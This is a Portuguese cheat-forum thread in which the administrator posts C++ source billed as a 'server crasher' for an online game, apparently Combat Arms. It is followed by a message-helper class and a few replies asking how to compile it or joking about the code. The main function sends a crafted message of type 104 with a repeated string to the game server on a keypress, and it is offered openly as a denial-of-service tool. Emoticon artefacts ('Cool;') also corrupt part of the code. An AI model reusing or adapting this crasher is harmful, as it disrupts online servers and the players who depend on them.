Bem-Vindo.
Para ter acesso a Area Vip,Postar,Comentar-Postagens,Fazer Dowloads... Vc deve se registrar no Forum ou fazer Login.

Se divirtão-se


~~Familia Striker Forever~~

Participe do fórum, é rápido e fácil

Bem-Vindo.
Para ter acesso a Area Vip,Postar,Comentar-Postagens,Fazer Dowloads... Vc deve se registrar no Forum ou fazer Login.

Se divirtão-se


~~Familia Striker Forever~~
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

[Soucer Code] CA sever crascher BY GX4HXR & F43R

4 participantes

Ir para baixo

[Soucer Code] CA sever crascher BY GX4HXR & F43R  Empty [Soucer Code] CA sever crascher BY GX4HXR & F43R

Mensagem por Hacker Striker Dom Jan 15, 2012 10:30 pm

Adicionar cabeçalho

void CBase::DoServerCrash(int Value)
{
if (Value ==0)
return;

CAutoMessage Msg;
Msg.Writeuint8(104);
if(GetAsyncKeyState(0x4C) & 1){
Msg.WriteWString((wchar_t*) L"Come get some come get some come get some come get some ");
}
g_LTClient->SendToServer(Msg.Read(), MESSAGE_GUARANTEED);
}

Algumas classes
//////////////////////////////////////////////////////////////////////////////
// Automatic message handling utility class

#ifndef __AUTOMESSAGE_H__
#define __AUTOMESSAGE_H__

#include "LTClient.h"
#include "iltmessage.h"

class ILTMessage_Write;
class ILTMessage_Read;

extern CCommonLT* g_CommonLT; // Defined in CommonUtilities.h

// Wrapper for ILTMessage_Write for making it easier to send messages
// It will be allocated from g_pCommonLT in the ctor, and will be released in the dtor
class CAutoMessage
{
public:
// Constructors
CAutoMessage() : m_pMsg(NULL)
{
Init();
}
~CAutoMessage()
{
Term();
}
CAutoMessage(const ILTMessage_Read &cMsg) : m_pMsg(NULL)
{
Init();
CLTMsgRef_Read cReadMsg(cMsg.Clone());
WriteMessage(cReadMsg);
}
// Useful constructors for writing out one element of data
// Be careful to make sure that the type is the one you expect
CAutoMessage(const char *pStr) : m_pMsg(NULL)
{
Init();
WriteString(pStr);
}
CAutoMessage(const wchar_t *pStr) : m_pMsg(NULL)
{
Init();
WriteWString(pStr);
}
template <class T>
CAutoMessage(const T &tValue) : m_pMsg(NULL)
{
Init();
WriteType(tValue);
}


// Call this function to let go of the current message and make a new one
// (e.g. when using the same CAutoMessage variable for multiple message calls.)
void Reset() { Init(); }
bool IsValid() { return m_pMsg != NULL ; }

// Casting operators to get back to ILTMessage_Write
inline operator ILTMessage_Write*() { return m_pMsg; }
inline operator const ILTMessage_Write*() const { return m_pMsg; }
inline operator ILTMessage_Write&() { return *m_pMsg; }
inline operator const ILTMessage_Write&() const { return *m_pMsg; }

// Wrappers for the rest of ILTMessage_Write's functions
inline CLTMsgRef_Read Read() { return CLTMsgRef_Read(m_pMsg->Read()); }
inline uint32 Size() const { return m_pMsg->Size(); }
inline void WriteBits(uint32 nValue, uint32 nSize) { m_pMsg->WriteBits(nValue, nSize); }
inline void WriteBits64(uint64 nValue, uint32 nSize) { m_pMsg->WriteBits64(nValue, nSize); }
inline void WriteData(const void *pData, uint32 nSize) { m_pMsg->WriteData(pData, nSize); }
inline void WriteMessage(ILTMessage_Read *pMsg) { m_pMsg->WriteMessage(pMsg); }
inline void WriteMessageRaw(ILTMessage_Read *pMsg) { m_pMsg->WriteMessageRaw(pMsg); }
inline void WriteString(const char *pString) { m_pMsg->WriteString(pString); }
inline void WriteWString(const wchar_t *pString) { m_pMsg->WriteWString(pString); }
inline void WriteCompLTVector(const LTVector &vVec) { m_pMsg->WriteCompLTVector(vVec); }
inline void WriteCompPos(const LTVector &vPos) { m_pMsg->WriteCompPos(vPos); }
inline void WriteCompLTRotation(const LTRotation &cRotation) { m_pMsg->WriteCompLTRotation(cRotation); }
inline void WriteObject(HOBJECT hObj) { m_pMsg->WriteObject(hObj); }
inline void WriteYRotation(const LTRotation &cRotation) { m_pMsg->WriteYRotation(cRotation); }
inline void WriteDatabaseRecord( IDatabaseMgr *pDatabase, HRECORD hRecord ) { m_pMsg->WriteDatabaseRecord( pDatabase, hRecord ); }
inline void Writebool(bool bValue) { WriteBits(bValue ? 1 : 0, 1); }
inline void Writeuint8(uint8 nValue) { WriteBits(nValue, Cool; }
inline void Writeuint16(uint16 nValue) { WriteBits(nValue, 16); }
inline void Writeuint32(uint32 nValue) { WriteBits(nValue, 32); }
inline void Writeuint64(uint64 nValue) { WriteBits64(nValue, 64); }
inline void Writeint8(int8 nValue) { WriteBits((uint32)nValue, Cool; }
inline void Writeint16(int16 nValue) { WriteBits((uint32)nValue, 16); }
inline void Writeint32(int32 nValue) { WriteBits((uint32)nValue, 32); }
inline void Writeint64(int32 nValue) { WriteBits64((uint64)nValue, 32); }
inline void Writefloat(float fValue) { WriteBits(reinterpret_cast<const uint32&>(fValue), 32); }
inline void Writedouble(double fValue) { WriteBits64(reinterpret_cast<const uint64&>(fValue), 64); }
inline void WriteLTVector(const LTVector &vValue) { WriteType(vValue); }
inline void WriteLTRotation(const LTRotation &cValue) { WriteType(cValue); }
inline void WriteLTRigidTransform(const LTRigidTransform &tfValue) { WriteType( tfValue ); }
inline void WriteLTTransform(const LTTransform &tfValue) { WriteType( tfValue ); }
inline void WriteLTPolarCoord(const LTPolarCoord &polarCoord) { m_pMsg->WriteLTPolarCoord( polarCoord ); }
inline void WriteCompLTPolarCoord(const LTPolarCoord &polarCoord) { m_pMsg->WriteCompLTPolarCoord( polarCoord ); }
template <class T>
inline void WriteType(const T &tValue) { m_pMsg->WriteType(tValue); }
private:
inline void Init()
{
Term();
m_pMsg = NULL;
ILTMessage_Write *pMsg;
LTRESULT nResult = g_CommonLT->CreateMessage(pMsg);
if (nResult == LT_OK)
m_pMsg = pMsg;
ASSERT(nResult == LT_OK);
}
inline void Term()
{
m_pMsg = NULL;
}
CLTMsgRef_Write m_pMsg;
};

#endif //__AUTOMESSAGE_H__

Créditos
Gx4hxR
F43R - Quase tudo dele -
Hacker Striker
Hacker Striker
Administrador
Administrador

Mensagens : 439
Créditos : 3138
Obrigado : 115
Data de inscrição : 16/12/2011
Idade : 26
Localização : Rio de janeiro

Ir para o topo Ir para baixo

[Soucer Code] CA sever crascher BY GX4HXR & F43R  Empty Re: [Soucer Code] CA sever crascher BY GX4HXR & F43R

Mensagem por ~[GuuH]~ Sex Fev 17, 2012 7:02 pm

Obrigado pelo conteúdo Continue com esse otimo trabalho até a proxima...
~[GuuH]~
~[GuuH]~
Moderador
Moderador

Mensagens : 50
Créditos : 53
Obrigado : -1
Data de inscrição : 12/02/2012
Idade : 27

Ir para o topo Ir para baixo

[Soucer Code] CA sever crascher BY GX4HXR & F43R  Empty Re: [Soucer Code] CA sever crascher BY GX4HXR & F43R

Mensagem por artuvss Sáb Fev 25, 2012 7:31 am

Hum como que se passa esses codigos pro visual c++
avatar
artuvss
Membro
Membro

Mensagens : 31
Créditos : 31
Obrigado : 0
Data de inscrição : 13/02/2012
Localização : Brasilia

Ir para o topo Ir para baixo

[Soucer Code] CA sever crascher BY GX4HXR & F43R  Empty Re: [Soucer Code] CA sever crascher BY GX4HXR & F43R

Mensagem por $-LAMMER-$ Ter Jun 12, 2012 7:47 pm

oque e essas duas carinhas no meio do Código kkkk
avatar
$-LAMMER-$
Supreme Member
Supreme Member

Mensagens : 154
Créditos : 190
Obrigado : 16
Data de inscrição : 12/06/2012
Idade : 27
Localização : São Roque

https://unbelievablecheats.forumbrasil.net

Ir para o topo Ir para baixo

[Soucer Code] CA sever crascher BY GX4HXR & F43R  Empty Re: [Soucer Code] CA sever crascher BY GX4HXR & F43R

Mensagem por Hacker Striker Ter Jun 12, 2012 8:34 pm

$-LAMMER-$ escreveu:oque e essas duas carinhas no meio do Código kkkk

kkkkkkkkkkkkkkkkk n sei kkkkkkkkkkkkkk
algum bug vo tira.
Hacker Striker
Hacker Striker
Administrador
Administrador

Mensagens : 439
Créditos : 3138
Obrigado : 115
Data de inscrição : 16/12/2011
Idade : 26
Localização : Rio de janeiro

Ir para o topo Ir para baixo

[Soucer Code] CA sever crascher BY GX4HXR & F43R  Empty Re: [Soucer Code] CA sever crascher BY GX4HXR & F43R

Mensagem por $-LAMMER-$ Qua Jun 13, 2012 6:37 pm

Hacker Striker escreveu:
$-LAMMER-$ escreveu:oque e essas duas carinhas no meio do Código kkkk

kkkkkkkkkkkkkkkkk n sei kkkkkkkkkkkkkk
algum bug vo tira.

e porque o código tem o formato das carinhas dai fica kkkk mas de boa....
avatar
$-LAMMER-$
Supreme Member
Supreme Member

Mensagens : 154
Créditos : 190
Obrigado : 16
Data de inscrição : 12/06/2012
Idade : 27
Localização : São Roque

https://unbelievablecheats.forumbrasil.net

Ir para o topo Ir para baixo

[Soucer Code] CA sever crascher BY GX4HXR & F43R  Empty Re: [Soucer Code] CA sever crascher BY GX4HXR & F43R

Mensagem por Conteúdo patrocinado


Conteúdo patrocinado


Ir para o topo Ir para baixo

Ir para o topo

- Tópicos semelhantes

 
Permissões neste sub-fórum
Não podes responder a tópicos